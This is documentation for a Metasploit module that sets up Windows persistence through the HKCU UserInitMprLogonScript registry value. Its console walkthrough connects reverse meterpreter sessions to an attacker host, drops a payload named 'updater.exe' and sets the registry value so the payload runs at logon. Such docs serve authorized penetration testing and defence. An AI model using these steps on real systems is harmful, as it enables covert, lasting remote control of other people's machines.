metasploit-gs/documentation/modules/exploit/windows/persistence/userinit_mpr_logon_script.md

Vulnerable Application

Windows Persistence via HKCU UserInitMprLogonScript

This module establishes persistence by leveraging the per-user registry value:

HKCU\Environment\UserInitMprLogonScript

The module writes a payload executable to disk and sets the UserInitMprLogonScript value so that the payload executes when the user logs in.

Unlike the traditional Winlogon\Userinit (HKLM) technique, this method:

• Does not require administrative privileges
• Does not modify system-wide registry keys
• Only affects the current user
• Executes during interactive user logon

The payload will execute when the user signs out and logs back in.

Verification Steps

1. Start msfconsole
2. Obtain a meterpreter session on a Windows target (user-level is sufficient)
3. use exploit/windows/persistence/userinit_mpr_logon_script
4. set SESSION <id>
5. set LHOST <attacker_ip>
6. set LPORT <attacker_port>
7. run
8. Sign out from the Windows session
9. Log back in
10. A new meterpreter session should be created

Options

SESSION (Required)

The session to run this module on.

LHOST (Required)

The local host to receive the reverse connection.

LPORT (Required)

The local port to receive the reverse connection.

PAYLOAD_NAME

The filename to use when writing the payload to disk.

If not specified, a random filename will be generated.

Scenarios

Initial Session

msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST 172.21.176.212
LHOST => 172.21.176.212
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) >  run
[*] Started HTTPS reverse handler on https://172.21.176.212:4444
[!] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: 7shkdu86) Without a database connected that payload UUID tracking will not work!
[*] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: 7shkdu86) Staging x64 payload (233052 bytes) ...
[!] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: 7shkdu86) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (172.21.176.212:4444 -> 172.21.176.1:62359) at 2026-03-01 05:45:19 +0200

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > sessions

Active sessions
===============

Id  Name  Type                 Information       Connection
  --  ----  ----                 -----------       ----------
1         meterpreter x64/win  NERO\DELL @ NERO  172.21.176.212:4444 ->
dows                                   172.21.176.1:62359 (172
.21.176.1)

Install Persistence

msf exploit(multi/handler) > use exploit/windows/persistence/userinit_mpr_logon_script
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/userinit_mpr_logon_script) > set SESSION 1
SESSION => 1
msf exploit(windows/persistence/userinit_mpr_logon_script) > set LHOST 172.21.176.212
LHOST => 172.21.176.212
msf exploit(windows/persistence/userinit_mpr_logon_script) > set LPORT 4444
LPORT => 4444
msf exploit(windows/persistence/userinit_mpr_logon_script) > set PAYLOAD_NAME updater
PAYLOAD_NAME => updater
msf exploit(windows/persistence/userinit_mpr_logon_script) > set WRITABLEDIR C:\\Users\\DELL\\AppData\\Roaming
WRITABLEDIR => C:\Users\DELL\AppData\Roaming
msf exploit(windows/persistence/userinit_mpr_logon_script) > set CleanUpRc true
CleanUpRc => true
msf exploit(windows/persistence/userinit_mpr_logon_script) > set VERBOSE true
VERBOSE => true
msf exploit(windows/persistence/userinit_mpr_logon_script) > check
[+] The target is vulnerable. Registry path is writable
msf exploit(windows/persistence/userinit_mpr_logon_script) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/userinit_mpr_logon_script) >
[-] Handler failed to bind to 172.21.176.212:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Registry path is writable
[+] Writing payload to C:\Users\DELL\AppData\Roaming\updater.exe
[+] Configured HKCU\Environment\UserInitMprLogonScript to execute C:\Users\DELL\AppData\Roaming\updater.exe
[*] Meterpreter-compatible Cleanup RC file: /home/nayera/.msf4/logs/persistence/NERO_20260301.4724/NERO_20260301.4724.rc
jobs

Jobs
====

  Id  Name                   Payload                Payload opts
  --  ----                   -------                ------------
  0   Exploit: windows/pers  windows/meterpreter/r  tcp://172.21.176.212:4
      istence/userinit_mpr_  everse_tcp             444 (setting up)
      logon_script

msf exploit(windows/persistence/userinit_mpr_logon_script) > jobs

Jobs
====

  Id  Name                   Payload                Payload opts
  --  ----                   -------                ------------
  0   Exploit: windows/pers  windows/meterpreter/r  tcp://172.21.176.212:4
      istence/userinit_mpr_  everse_tcp             444 (setting up)
      logon_script

msf exploit(windows/persistence/userinit_mpr_logon_script) > jobs -K
Stopping all jobs...
msf exploit(windows/persistence/userinit_mpr_logon_script) > jobs

Jobs
====

No active jobs.

msf exploit(windows/persistence/userinit_mpr_logon_script) > use exploit/multi/handler
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST 172.21.176.212
LHOST => 172.21.176.212
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://172.21.176.212:4444

msf exploit(multi/handler) > jobs

Jobs
====

  Id  Name                   Payload                Payload opts
  --  ----                   -------                ------------
  1   Exploit: multi/handle  windows/x64/meterpret  https://172.21.176.212
      r                      er/reverse_https       :4444

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NERO\DELL
meterpreter > sysinfo
Computer        : NERO
OS              : Windows 11 24H2+ (10.0 Build 26200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

meterpreter > reg queryval -k HKCU\\Environment -v UserInitMprLogonScript
Key: HKCU\Environment
Name: UserInitMprLogonScript
Type: REG_SZ
Data: C:\Users\DELL\AppData\Roaming\updater.exe
meterpreter > reg setval -k HKCU\\Environment -v testvalue -d test
Successfully set testvalue of REG_SZ.
meterpreter > reg deleteval -k HKCU\\Environment -v testvalue
Successfully deleted testvalue.
meterpreter > ls C:\\Users\\DELL\\AppData\\Roaming\\updater.exe
100777/rwxrwxrwx  7168  fil  2026-03-01 05:47:24 +0200  C:\Users\DELL\AppData\Roaming\updater.exe
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                 Information       Connection
  --  ----  ----                 -----------       ----------
  1         meterpreter x64/win  NERO\DELL @ NERO  172.21.176.212:4444 ->
            dows                                   172.21.176.1:62359 (172
                                                   .21.176.1)

msf exploit(multi/handler) > sessions -K
[*] Killing all sessions...
[*] 172.21.176.1 - Meterpreter session 1 closed.
msf exploit(multi/handler) > sessions

Active sessions
===============

No active sessions.

msf exploit(multi/handler) >

Logout, and log back in

msf exploit(multi/handler) > 
[!] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: bodrq2fe) Without a database connected that payload UUID tracking will not work!
[*] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: bodrq2fe) Attaching orphaned/stageless session...
[!] https://172.21.176.212:4444 handling request from 172.21.176.1; (UUID: bodrq2fe) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 2 opened (172.21.176.212:4444 -> 172.21.176.1:65263) at 2026-02-28 07:58:07 +0200